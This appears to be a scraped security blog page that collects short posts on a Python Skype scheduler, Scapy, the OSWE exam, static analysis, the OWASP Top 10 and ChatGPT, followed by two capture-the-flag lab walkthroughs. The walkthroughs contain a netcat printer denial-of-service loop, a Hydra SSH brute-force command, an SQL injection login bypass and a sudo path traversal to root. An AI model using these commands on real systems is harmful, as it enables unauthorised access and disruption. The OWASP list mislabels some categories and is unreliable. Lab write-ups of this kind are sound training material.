Scheduled Skype Message in Python

To send a message on Skype at a scheduled time, you can use the schedule library in Python along with the skype4py library to interact with the Skype API. Here is an example of how you can schedule a message to be sent on Skype:

import schedule import time import skype4py def send_message(): # Create a new Skype object skype = skype4py.Skype() # Connect to the Skype API skype.Attach() # Send the message to the desired recipient skype.SendMessage("skype_username", "Hello, this is a scheduled message.") # Schedule the send_message function to run at a specific time schedule.every().day.at("22:30").do(send_message) while True: schedule.run_pending() time.sleep(1)

This code will send a message "Hello, this is a scheduled message." to the skype user 'skype_username' every day at 22:30. You can change the schedule time and message as per your requirements.

Note: In order to use this code, you need to have skype4py library installed in your system. you can install it via pip by running pip install skype4py in your command prompt.

Python Scapy and its uses.

Python Scapy is a powerful packet manipulation tool that allows users to send, sniff, dissect, and forge network packets. It is written in Python and can be used for a wide range of purposes, including network security and testing, packet capture and analysis, and network protocol development.

One of the primary uses of Scapy is network security testing. It allows users to create and send custom packets over the network, sniff and analyze packets, and perform various types of scans and tests to identify vulnerabilities and potential security threats. Scapy can be used to perform tasks such as port scanning, network discovery, and vulnerability assessment, as well as more advanced tasks such as packet injection and spoofing.

In addition to security testing, Scapy is also commonly used for packet capture and analysis. It provides a rich set of functions and classes that allow users to dissect packets and extract specific fields and payloads. This can be useful for tasks such as analyzing traffic patterns, troubleshooting network issues, and developing new network protocols.

Scapy is also often used for network protocol development. It allows users to craft custom packets and send them over the network, which can be useful for testing and debugging new protocols. Scapy includes a powerful command-line interface that allows users to interact with the tool using simple commands and scripts, making it easy to automate tasks and create custom tools and applications.

Despite its many useful features, it is important to note that Scapy can also be used to launch various types of attacks on networks and systems. These attacks can include Denial of Service (DoS) attacks, Man-in-the-middle (MitM) attacks, and password cracking attacks, among others. It is important to use Scapy (and any other tool) responsibly and only for legitimate purposes in a controlled and authorized environment. Unauthorized attacks are illegal and can result in serious consequences.

Overall, Python Scapy is a powerful and versatile tool that can be used for a wide range of purposes related to network security and protocol development. Its rich set of features and easy-to-use interface make it a popular choice among network professionals, security researchers, and developers. However, it is important to use Scapy responsibly and only for legitimate purposes in order to avoid any legal or ethical issues.

What to learn for OSWE Certification.

OSWE, or the Offensive Security Web Expert, is a certification that demonstrates a high level of expertise in the field of web application security. To prepare for the OSWE exam, it is important to have a strong foundation in the following areas:

  1. Web application architecture: Understanding the various components and technologies that make up a web application, such as the client-side (e.g., HTML, CSS, JavaScript), the server-side (e.g., databases, servers), and the communication between them (e.g., HTTP).

  2. Web application vulnerabilities: Familiarity with common web application vulnerabilities, such as cross-site scripting (XSS), SQL injection, and cross-site request forgery (CSRF), and how to exploit and mitigate them.

  3. Web application testing: Knowledge of the various tools and techniques used to test and assess the security of web applications, such as manual testing, automated testing, and penetration testing.

  4. Web application frameworks: Experience with common web application frameworks, such as Ruby on Rails and Django, and understanding how they work and how they can impact the security of an application.

  5. Networking: Basic understanding of networking concepts, such as IP addresses, ports, protocols, and network architecture.

  6. Linux: Familiarity with the Linux operating system, including the command line, file system, and basic system administration tasks.

In addition to these technical skills, it is also important to have strong problem-solving and critical thinking skills, as well as the ability to communicate effectively and work well in a team.

Obtaining the OSWE certification typically requires a combination of hands-on experience, self-study, and formal training. There are various resources available to help you prepare for the exam, such as online courses, practice exams, and study guides.

How to learn Static Code Analysis, Also called White Box Testing.

Static code analysis is the process of analyzing code for potential issues or vulnerabilities without actually executing it. It is a valuable technique for identifying issues early in the development process, as it can help identify problems before they become more costly or difficult to fix.

Here are some steps you can follow to learn static code analysis:

  1. Familiarize yourself with the basics: It is important to understand the principles and concepts of static code analysis before diving into specific tools and techniques. This may include understanding the types of issues that static code analysis can identify, such as security vulnerabilities, performance issues, and coding standards violations.

  2. Choose a static code analysis tool: There are many different static code analysis tools available, each with its own features and capabilities. Some popular options include SonarQube, Fortify, and Checkmarx. Consider your specific needs and the languages and frameworks you will be working with when choosing a tool.

  3. Learn the tool's features and capabilities: Once you have chosen a static code analysis tool, take the time to learn how to use it effectively. This may include learning how to configure the tool, how to run analyses, and how to interpret the results.

  4. Practice with sample code: To get a better understanding of how static code analysis works, try running analyses on sample code or on your own code. This will help you get a feel for the types of issues the tool can identify and how to interpret the results.

  5. Continue learning and improving: Static code analysis is a continuous process, and it is important to stay up to date with new tools, techniques, and best practices. Consider joining online communities or taking online courses to continue learning and improving your skills.

By following these steps, you can learn static code analysis and begin using it to identify and fix issues in your code. It is a valuable technique that can improve the quality and security of your code and help you catch issues early in the development process.

Notable OWASP TOP 10 for Web Applications.

OWASP, or the Open Web Application Security Project, is a non-profit organization that aims to improve the security of software and the web. One of their most well-known initiatives is the OWASP Top 10, a list of the most common and most critical web application security risks. The OWASP Top 10 is regularly updated to reflect the current state of the threat landscape and to provide guidance on how to address these risks.

Here is an overview of the OWASP Top 10 for web applications:

  1. Injection: This occurs when an attacker is able to send malicious code to a web application, which is then executed by the application or the underlying database. Examples include SQL injection, where malicious SQL code is injected into a database query, and cross-site scripting (XSS), where malicious JavaScript code is injected into a web page.

  2. Broken authentication and session management: This risk occurs when an attacker is able to gain unauthorized access to a user's account or to manipulate the session data of a user. This can be due to weak passwords, lack of proper authentication controls, or vulnerabilities in the session management system.

  3. Cross-site request forgery (CSRF): This type of attack involves tricking a user into making an unintended request to a web application, such as changing their password or transferring money. It can occur when a user is logged into a vulnerable web application and visits a malicious website.

  4. Insecure direct object references: This risk occurs when an attacker is able to access an object, such as a file or database record, directly by manipulating the reference to it. This can occur if an application does not properly check permissions or if it exposes object references in the URL.

  5. Security misconfiguration: This risk occurs when a web application is not properly configured and secured, making it vulnerable to attacks. Examples include leaving default accounts or directories open, using weak passwords, or failing to update the application with security patches.

  6. Sensitive data exposure: This risk occurs when sensitive data, such as passwords or financial information, is not properly protected or encrypted. This can occur due to weak encryption algorithms, lack of proper transport layer protection, or lack of proper data handling practices.

  7. Cross-origin resource sharing (CORS) misconfiguration: This risk occurs when a web application allows cross-origin requests that should not be allowed. This can allow attackers to access sensitive data or to perform actions on behalf of the user.

  8. Failure to restrict URL access: This risk occurs when an application does not properly restrict access to sensitive URLs or functions. This can allow an attacker to access or manipulate sensitive data or functions.

  9. Using components with known vulnerabilities: This risk occurs when a web application uses third-party components, such as libraries or frameworks, that have known vulnerabilities. These vulnerabilities can then be exploited by attackers.

  10. Insufficient logging and monitoring: This risk occurs when an application does not properly log and monitor activity, making it difficult to detect and respond to attacks.

It is important for organizations to regularly assess their web applications for these risks and to implement appropriate controls to mitigate them. This can include activities such as performing regular security testing, implementing secure coding practices, and properly configuring and maintaining the application and its components. By addressing these risks, organizations can improve the security of their web applications and protect their users and data from potential attacks.

The Renowned , Famed CHATGPT. How it can help different IT professionals.

ChatGPT is a variant of the popular language generation model GPT-3 (short for "Generative Pre-training Transformer 3"), developed by OpenAI. It is designed to be able to engage in conversations with humans in a natural and intuitive way, using language processing and machine learning techniques.

One of the main benefits of ChatGPT is its ability to understand and respond to a wide range of topics and prompts. This makes it useful for various IT careers where clear and effective

communication is crucial. For example, a software developer may use ChatGPT to help document their code or create technical guides and tutorials. A customer support representative could use it to answer common questions and troubleshoot issues more efficiently. A project manager could use it to facilitate team communication and keep track of project progress.

In addition to its language processing capabilities, ChatGPT also has access to a vast amount of knowledge on various subjects, thanks to its training on a large dataset of text from the internet. This makes it a valuable resource for research and information gathering, as it can quickly provide relevant and accurate information on a wide range of topics.

One potential application of ChatGPT in IT careers is in the field of natural language processing (NLP). NLP is a subfield of artificial intelligence that focuses on enabling computers to understand, interpret, and generate human language. ChatGPT, with its advanced language processing capabilities, could be used to build NLP applications such as chatbots or language translation systems.

Another use case for ChatGPT in IT is in the development of virtual assistants. Virtual assistants are software programs that can perform tasks and answer questions for users, often through voice or text interactions. ChatGPT could be used to create more advanced and human-like virtual assistants, capable of carrying on more natural and intuitive conversations with users.

Overall, ChatGPT has the potential to greatly improve communication and productivity in various IT careers. Its ability to understand and generate natural language, as well as its access to a vast amount of knowledge, make it a valuable resource for tasks such as research, documentation, customer support, and project management. Its potential applications in NLP and virtual assistants also make it an exciting development in the field of artificial intelligence.

printer hacking 101 walkthrough ( tryhackme.com )

WALKTHROUGH (spoiler) OF PRINTER HACKING 101 by swafox in Try Hack Me  (tryhackme.com)

 

Unit 1 introduction

 

In This section the creator of the room shared some quick info about the famous Pewdiepie hacking. Where the hacker hacked about 50,000 printers and printed a page asking for subscribing to pewdiepie youtube channel 😊

 

 

Unit 2 ipp port

 

The cause of pewdiepie hacking was the open IPP port.

An open IPP port can expose a lot of sensitive information such as printer name, location, model, firmware version, or even printer wifi SSID.

What port does IPP run on?

631

 

 

Unit 3# Targeting and exploitation

In this section we have the deploy button to Deploy the machine

A handy tool for printer exploitation is shared.

Github: https://github.com/RUB-NDS/PRET

The Printer Exploitation Toolkit is a handy tool that is used for both local targeting and exploitation.

There are exactly three options you need to try when exploiting a printer using PRET:

1. ps (Postscript)

2. pjl (Printer Job Language)

3. pcl (Printer Command Language)

 

You need to try out all three languages just to see which one is going to be understood by the printer. 

 

A nice cheat sheet: hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet

 

How would a simple printer TCP DoS attack look as a one-line command?

while true; do nc printer 9100; done

Review the cheat sheet provided in the task reading above. What attack are printers often vulnerable to which involves sending more and more information until a pre-allocated buffer size is surpassed?

Buffer Overflow

 

Now we need to get access of the system and use the printer.

We will brute force the ssh for password. The username (printer) is given in the local tunneling command.

 

Hydra -l printer -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh



 

Once we have the password we will do a local tunneling to access the cups server on port 631 on our local port 3631, for this the following command will be used.

ssh printer@MACHINE_IP -T -L 3631:localhost:631



 

After the local tunnel is created. We will connect to the cups server on vulnerable machine by browsing localhost:3631


Going to the Printers section, we will find the Fox_Printer and it will give us the answer to the location of the printer.


Connect to the printer per the instructions above. Where's the Fox_Printer located?

Skidy's basement

 

In order to find the size of the test page, go to the Fox_printer, and print a test page, then goto Jobs section , the test page file size will be mentioned.

 

What is the size of a test sheet?

1k



 

 

vulnhub machine SKYTOWER walkthrough


Vulnhub Machine SkyTower Walkthrough OSCP friendly/ No Metasploit



Nmap:
# Nmap 7.70 scan initiated Thu Aug  8 02:55:03 2019 as: nmap -sC -sV -p- -oN nmap 192.168.8.183
Nmap scan report for SkyTower (192.168.8.183)
Host is up (0.0019s latency).
Not shown: 65532 closed ports
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Site doesn't have a title (text/html).
3128/tcp open     http-proxy Squid http proxy 3.1.20
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD
|_http-server-header: squid/3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug  8 02:55:57 2019 -- 1 IP address (1 host up) scanned in 54.69 seconds

We have SSH filtered and a Squid HTTP proxy on port 3128, most probably the SSH is behind proxy, lets check it later. First  the WebServer.
We have login page, so lets try common creds and sqli.
On Trying sqli the server give us an error but also telling us some characters are filtered. Trying multiple characters , the string test’ || 1=1#  worked. So user test@test and password test’ || 1=1#  .


We got login credentials for user john, lets try to use it in ssh.
First of all we need to access ssh through proxy, there are two ways,
One is by using proxytunnel

proxytunnel -p 192.168.8.183:3128 -d 192.168.8.183:22 -a 1234

Second it by proxychains, by adding the below give in /etc/proxychains.conf
http 192.168.8.183 3128

and
proxychains ssh john@192.168.8.183

Our session got termed as soon as it was connected.
proxychains ssh john@192.168.8.183 /bin/bash

This give us a new bash shell upon connection, first thing to do
Rm .bashrc

So that condition of immediate termination is removed.
Goto /var/www and there are mysql database credentials as root:root.
We can find this out by downloading LinEnum.sh script via wget and execute it.
Login into mysql by 


Mysql -u root -proot

In Mysql
show databases;
use SkyTech;
show tables;

mysql> select * from login;
+----+---------------------+--------------+
| id | email               | password     |
+----+---------------------+--------------+
|  1 | john@skytech.com    | hereisjohn   |
|  2 | sara@skytech.com    | ihatethisjob |
|  3 | william@skytech.com | senseable    |
+----+---------------------+--------------+
3 rows in set (0.01 sec)

Lets login as sara.
proxychains ssh sara@192.168.8.183 /bin/bash
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-192.168.8.183:3128-<><>-192.168.8.183:22-<><>-OK
sara@192.168.8.183's password:

id
uid=1001(sara) gid=1001(sara) groups=1001(sara)

We checked sara’s privileges by sudo -l
Matching Defaults entries for sara on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*

So we can use sudo only for /bin/cat and /accounts/*

sudo /bin/ls /accounts/../root
flag.txt

sudo /bin/cat /accounts/../root/flag.txt

Congratz, have a cold one to celebrate!
root password is theskytower

We have root credentials as root:theskytower.

 



574r570rm

Scheduled Skype Message in Python

To send a message on Skype at a scheduled time, you can use the schedule library in Python along with the skype4py library to interact wit...